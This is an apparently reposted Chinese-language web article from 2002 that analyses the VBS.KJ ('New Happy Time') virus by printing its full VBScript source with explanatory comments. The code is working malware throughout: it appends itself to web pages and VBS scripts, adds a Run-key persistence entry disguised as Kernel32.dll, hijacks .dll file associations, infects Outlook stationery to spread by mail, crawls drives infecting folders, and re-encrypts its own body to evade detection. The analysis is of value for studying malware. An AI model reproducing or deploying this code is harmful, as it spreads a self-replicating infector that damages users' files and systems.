VBS.KJ[新欢乐时光] - 源代码分析

类别:软件工程 点击:0 评论:0 推荐:
VBS.KJ[新欢乐时光] - 源代码分析

'   Virus:  VBS.KJ
'   Analyze by dancefire ([email protected])
'   2002/7/10
'

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
    '   初始化变量
 KJSetDim()
 '   初始化环境
 KJCreateMilieu()
 '   感染本地或者共享上与html所在目录
 KJLikeIt()
 '   通过vbs感染Outlook邮件模板
 KJCreateMail()
 '   进行病毒传播
 KJPropagate()
End Sub

'   函数:KJAppendTo(FilePath,TypeStr)
'   功能:向指定类型的指定文件追加病毒
'   参数:
'       FilePath    指定文件路径
'       TypeStr     指定类型
Function KJAppendTo(FilePath,TypeStr)
 On Error Resume Next
 '   以只读方式打开指定文件
 Set ReadTemp = FSO.OpenTextFile(FilePath,1)
 '   将文件内容读入到TmpStr变量中
 TmpStr = ReadTemp.ReadAll
 '   判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;
 '   若文件长度小于1,也退出函数。
 If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
  ReadTemp.Close
  Exit Function
 End If
 '   如果传过来的类型是"htt"
 '       在文件头加上调用页面的时候加载KJ_start()函数;
 '       在文件尾追加html版本的加密病毒体。
 '   如果是"html"
 '       在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
 '   如果是"vbs"
 '       在文件尾追加vbs版本的病毒体
 If TypeStr = "htt" Then
  ReadTemp.Close
  Set FileTemp = FSO.OpenTextFile(FilePath,2)
  FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
  FileTemp.Close
  Set FAttrib = FSO.GetFile(FilePath)
  FAttrib.attributes = 34
 Else
  ReadTemp.Close
  Set FileTemp = FSO.OpenTextFile(FilePath,8)
  If TypeStr = "html" Then
   FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
  ElseIf TypeStr = "vbs" Then
   FileTemp.Write vbCrLf & VbsText
  End If
  FileTemp.Close
 End If
End Function

'   函数:KJChangeSub(CurrentString,LastIndexChar)
'   功能:改变子目录以及盘符
'   参数:
'       CurrentString   当前目录
'       LastIndexChar   上一级目录在当前路径中的位置
Function KJChangeSub(CurrentString,LastIndexChar)
    '   判断是否是根目录
 If LastIndexChar = 0 Then
     '   如果是根目录
     '       如果是C:\,返回FinalyDisk盘,并将SubE置为0,
     '       如果不是C:\,返回将当前盘符递减1,并将SubE置为0
  If Left(LCase(CurrentString),1) =< LCase("c") Then
   KJChangeSub = FinalyDisk & ":\"
   SubE = 0
  Else
   KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
   SubE = 0
  End If
 Else
     '   如果不是根目录,则返回上一级目录名称
  KJChangeSub = Mid(CurrentString,1,LastIndexChar)
 End If
End Function

'   函数:KJCreateMail()
'   功能:感染邮件部分
Function KJCreateMail()
 On Error Resume Next
 '   如果当前执行文件是"html"的,就退出函数
 If InWhere = "html" Then
  Exit Function
 End If
 '   取系统盘的空白页的路径
 ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
 '   如果存在这个文件,就向其追加html的病毒体
    '   否则生成含有病毒体的这个文件
 If (FSO.FileExists(ShareFile)) Then
  Call KJAppendTo(ShareFile,"html")
 Else
  Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
  FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
  FileTemp.Close
 End If
 '   取得当前用户的ID和OutLook的版本
 DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
 OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
 '   激活信纸功能,并感染所有信纸
 WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
 Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
 Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
 WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
 Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
 Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
 WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
 Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
 KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function


' 函数:KJCreateMilieu()
' 功能:创建系统环境
Function KJCreateMilieu()
 On Error Resume Next
 TempPath = ""
 ' 判断操作系统是NT/2000还是9X
 If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
  TempPath = "system32\"
 End If
 ' 为了文件名起到迷惑性,并且不会与系统文件冲突。
 ' 如果是NT/2000则启动文件为system\Kernel32.dll
 ' 如果是9x启动文件则为system\Kernel.dll
 If TempPath = "system32\" Then
  StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
 Else
  StartUpFile = WinPath & "SYSTEM\Kernel.dll"
 End If
 ' 添加Run值,添加刚才生成的启动文件路径
 WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
 '   拷贝前期备份的文件到原来的目录
 FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
 FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
    '   向%windir%\web\Folder.htt追加病毒体
 Call KJAppendTo(WinPath & "web\Folder.htt","htt")
 '   改变dll的MIME头
 '   改变dll的默认图标
 '   改变dll的打开方式
 WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
 '   启动时加载的病毒文件中写入病毒体
 Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
 FileTemp.Write VbsText
 FileTemp.Close
End Function

'   函数:KJLikeIt()
'   功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
Function KJLikeIt()
    '   如果当前执行文件不是"html"的就退出程序
 If InWhere <> "html" Then
  Exit Function
 End If
 '   取得文档当前路径
 ThisLocation = document.location
 '   如果是本地或网上共享文件
 If Left(ThisLocation, 4) = "file" Then
  ThisLocation = Mid(ThisLocation,9)
  '   如果这个文件扩展名不为空,在ThisLocation中保存它的路径
  If FSO.GetExtensionName(ThisLocation) <> "" then
   ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
  End If
  '   如果ThisLocation的长度大于3就尾追一个"\"
  If Len(ThisLocation) > 3 Then
   ThisLocation = ThisLocation & "\"
  End If
  '   感染这个目录
  KJummageFolder(ThisLocation)
 End If
End Function

'   函数:KJMailReg(RegStr,FileName)
'   功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
'   参数:
'       RegStr      注册表指定键值
'       FileName    指定文件名
Function KJMailReg(RegStr,FileName)
 On Error Resume Next
    '   如果注册表指定键值不存在,则向指定位置写入指定文件名
 RegTempStr = WsShell.RegRead(RegStr)
 If RegTempStr = "" Then
  WsShell.RegWrite RegStr,FileName
 End If
End Function

'   函数:KJOboSub(CurrentString)
'   功能:遍历并返回目录路径
'   参数:
'       CurrentString   当前目录
Function KJOboSub(CurrentString)
 SubE = 0
 TestOut = 0
 Do While True
  TestOut = TestOut + 1
  If TestOut > 28 Then
   CurrentString = FinalyDisk & ":\"
   Exit Do
  End If
  On Error Resume Next
  '   取得当前目录的所有子目录,并且放到字典中
  Set ThisFolder = FSO.GetFolder(CurrentString)
  Set DicSub = CreateObject("Scripting.Dictionary")
  Set Folders = ThisFolder.SubFolders
  FolderCount = 0
  For Each TempFolder in Folders
   FolderCount = FolderCount + 1
   DicSub.add FolderCount, TempFolder.Name
  Next
  '   如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1
  If DicSub.Count = 0 Then
   LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
   SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
   CurrentString = KJChangeSub(CurrentString,LastIndexChar)
   SubE = 1
  Else
  '   如果存在子目录
  '       如果SubE为0,则将CurrentString变为它的第1个子目录
   If SubE = 0 Then
    CurrentString = CurrentString & DicSub.Item(1) & "\"
    Exit Do
   Else
  '       如果SubE为1,继续遍历子目录,并将下一个子目录返回
    j = 0
    For j = 1 To FolderCount
     If LCase(SubString) = LCase(DicSub.Item(j)) Then
      If j < FolderCount Then
       CurrentString = CurrentString & DicSub.Item(j+1) & "\"
       Exit Do
      End If
     End If
    Next
    LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
    SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
    CurrentString = KJChangeSub(CurrentString,LastIndexChar)
   End If
  End If
 Loop
 KJOboSub = CurrentString
End Function

'   函数:KJPropagate()
'   功能:病毒传播
Function KJPropagate()
 On Error Resume Next
 RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
 DiskDegree = WsShell.RegRead(RegPathValue)
 '   如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘
 If DiskDegree = "" Then
  DiskDegree = FinalyDisk & ":\"
 End If
 '   继DiskDegree置后感染5个目录
 For i=1 to 5
  DiskDegree = KJOboSub(DiskDegree)
  KJummageFolder(DiskDegree)
 Next
 '   将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中
 WsShell.RegWrite RegPathValue,DiskDegree
End Function

'   函数:KJummageFolder(PathName)
'   功能:感染指定目录
'   参数:
'       PathName    指定目录
Function KJummageFolder(PathName)
 On Error Resume Next
 '   取得目录中的所有文件集
 Set FolderName = FSO.GetFolder(PathName)
 Set ThisFiles = FolderName.Files
 HttExists = 0
 For Each ThisFile In ThisFiles
  FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
  '   判断扩展名
  '       若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
  '       若是VBS则向文件中追加VBS版的病毒体
  '       若是HTT,则标志为已经存在HTT了
  If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
   Call KJAppendTo(ThisFile.Path,"html")
  ElseIf FileExt = "VBS" Then
   Call KJAppendTo(ThisFile.Path,"vbs")
  ElseIf FileExt = "HTT" Then
   HttExists = 1
  End If
 Next
 '   如果所给的路径是桌面,则标志为已经存在HTT了
 If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
  HttExists = 1
 End If
 '   如果不存在HTT
 '       向目录中追加病毒体
 If HttExists = 0 Then
  FSO.CopyFile WinPath & "system32\desktop.ini",PathName
  FSO.CopyFile WinPath & "web\Folder.htt",PathName
 End If
End Function

' 函数KJSetDim()
'  定义FSO,WsShell对象
'  取得最后一个可用磁盘卷标
'  生成传染用的加密字串
'  备份系统中的web\folder.htt和system32\desktop.ini
Function KJSetDim()
 On Error Resume Next
 Err.Clear

 ' 测试当前执行文件是html还是vbs
 TestIt = WScript.ScriptFullname
 If Err Then
  InWhere = "html"
 Else
  InWhere = "vbs"
 End If
 
 ' 创建文件访问对象和Shell对象
 If InWhere = "vbs" Then
  Set FSO = CreateObject("Scripting.FileSystemObject")
  Set WsShell = CreateObject("WScript.Shell")
 Else
  Set AppleObject = document.applets("KJ_guest")
  AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
  AppleObject.createInstance()
  Set WsShell = AppleObject.GetObject()
  AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
  AppleObject.createInstance()
  Set FSO = AppleObject.GetObject()
 End If
 Set DiskObject = FSO.Drives
 ' 判断磁盘类型
 '
 ' 0: Unknown
 ' 1: Removable
 ' 2: Fixed
 ' 3: Network
 ' 4: CD-ROM
 ' 5: RAM Disk
 ' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?
 For Each DiskTemp In DiskObject
  If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
   Exit For
  End If
  FinalyDisk = DiskTemp.DriveLetter
 Next
 
 ' 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。
 ' 加密算法
 Dim OtherArr(3)
 Randomize
 ' 随机生成4个算子
 For i=0 To 3
  OtherArr(i) = Int((9 * Rnd))
 Next
 TempString = ""
 For i=1 To Len(ThisText)
  TempNum = Asc(Mid(ThisText,i,1))
  '对回车、换行(0x0D,0x0A)做特别的处理
  If TempNum = 13 Then
   TempNum = 28
  ElseIf TempNum = 10 Then
   TempNum = 29
  End If
  '很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
  TempChar = Chr(TempNum - OtherArr(i Mod 4))
  If TempChar = Chr(34) Then
   TempChar = Chr(18)
  End If
  TempString = TempString & TempChar
 Next
 ' 含有解密算法的字串
 UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
 ' 将加密好的病毒体复制给变量 ThisText
 ThisText = "ExeString = """ & TempString & """"
 ' 生成html感染用的脚本
 HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
 ' 生成vbs感染用的脚本
 VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
 ' 取得Windows目录
 ' GetSpecialFolder(n)
 '  0: WindowsFolder
 '  1: SystemFolder
 '  2: TemporaryFolder
 ' 如果系统目录存在web\Folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。
 WinPath = FSO.GetSpecialFolder(0) & "\"
 If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
  FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"
 End If
 If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
  FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"
 End If
End Function

本文地址:http://com.8s8s.com/it/it35307.htm